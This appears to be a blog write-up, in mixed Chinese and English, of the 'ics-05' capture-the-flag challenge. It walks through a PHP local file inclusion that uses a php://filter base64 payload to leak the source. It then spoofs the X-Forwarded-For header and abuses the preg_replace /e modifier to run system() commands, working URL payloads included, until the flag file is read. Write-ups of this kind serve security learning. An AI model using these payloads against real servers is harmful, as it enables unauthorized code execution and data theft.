当前位置:网站首页>Offensive and defensive world - ics-05
Offensive and defensive world - ics-05
2022-08-08 08:03:00 【stealth rookie】
打开题目场景,Enter the equipment maintenance center,Clicked all the clickable places,It is found that only the device maintenance center can be opened


在源代码中发现page=index


写入参数,Parameters are displayed on the page
有参数的话,可以尝试以下XSS(没有任何反应,失败)

LFI(Local File Inclusion) 本地文件包含漏洞,指的是能打开并包含本地文件的漏洞
LFI漏洞的黑盒判断方法:如果只从URL判断,URL中path、dir、file、pag、page、archive、p、eng、Language files and other related keywords,There may be file inclusion vulnerabilities.
将参数换成index.php之后,返回了OK,All here is a file contains

is the file contains,We try to use pseudo-protocolsphp://
使用php://input可以进行php代码的提交,但是不可行

所以我们换一种方式,使用php://filter,It can be designed to filter files,We can use it to includeindex.php的文件,to obtain the source code
?page=php://filter/resource=index.php
直接包含发现会直接运行php文件,The source code could not be obtained,include函数会将php文件进行执行,If we encode the incoming file first(base64)pass it on,就会输出它的内容了,Then decode to get the source code
?page=php://filter/read=convert.base64-encode/resource=index.php
Then decode to get a segmenthtml,Get a paragraph from itphp代码
<?php
$page = $_GET[page];//拿到参数
if (isset($page)) {//如果存在
if (ctype_alnum($page)) { //如果都为字母或者数字
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p> //输出参数
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {//input相当于禁用了
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');//为什么返回Ok了
}
include($page);//包含参数
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的åžçŽ°è¾“å
¥è¾“出的功能,æ£åœ¨å¼€å‘ä¸çš„功能,åªèƒ½å†
部人员测试
//None of the above code matters,The real use is here
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//如果请求包中HTTP_X_FORWARDED_FOR为127.0.0.1
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);//将subject中匹配pattern的部分用replacement替换
}else{
die();
}
}
?>
ctype_alnum($text)The function will match whether the incoming parameters are all numbers or letters,如果是返回true,否则返回false.
strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置(大小写敏感).
preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行.
不要page参数了,添加X-Forwarded-For:127.0.0.1,页面出现welcome my admin!

The next use ispreg_replace函数/e漏洞:查看所有文件
payload:/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc
preg_replace()函数的/e漏洞
正确的php system()函数的书写
preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换.
$pattern: 要搜索的模式,可以是字符串或一个字符串数组.
$replacement: 用于替换的字符串或字符串数组.
$subject: 要搜索替换的目标字符串或字符串数组.
简单来说就是替换字符串
Found that command execution is possible,And found suspicious directories,Go into the directory and view the file
payload:/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=asdsadasabc
%26为&,这里进行了url编码,Fails without encoding
/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=asdsadasabc

发现flag.php文件,使用cat进行查看:
payload:/index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=asdsadasabc

边栏推荐
- 微软 .NET Core 3.1 年底将结束支持,请升级到.NET 6
- 超强企业建站系统介绍:五大特点
- [Regression prediction] Gaussian process regression based on GPML toolbox with matlab code
- Want to use SQL to achieve two days after the data contrast, the new data sheet and a list of tags
- 图数据科学和机器学习图数据科学GDS概览
- antdv4 升级指北
- 剑指offer专项突击版第23天
- 一篇文章带你解读蓝牙配对绑定
- Redis(4)-Redis遇到的问题
- Nacos是如何实现心跳机制和服务续约以及超时剔除服务机制的?
猜你喜欢
随机推荐
设计圆类,求圆的周长
动手学数理统计(1)
【回归预测】基于GPML工具箱的高斯过程回归附matlab代码
djanjo第四次培训
PHR-search:一个基于预测蛋白质层次关系的蛋白质远程同源性检测搜索框
ES8 | async和await
物联网安全 - 密码学概述
C语言——按照指定分割符分割字符串
最强分布式锁工具:Redisson
单片机裸机编程中实用驱动分享
jupyter notebook处理文件导致IOPub data rate exceeded
业内首个「因果推断全流程」挑战赛!WAIC 2022 · 黑客马拉松邀全球开发者精英来挑战
goroutine 调度
归并排序
Monorepo[单一代码库] 与MicroService[微服务] 架构
Database_JDBC
under项目under项目
快速排序
用平衡二叉搜索树解决硬木种类问题
CesiumJS 更新日志 1.96 与 1.97 - 新构建工具 esbuild 体验及 Model API 更替完成









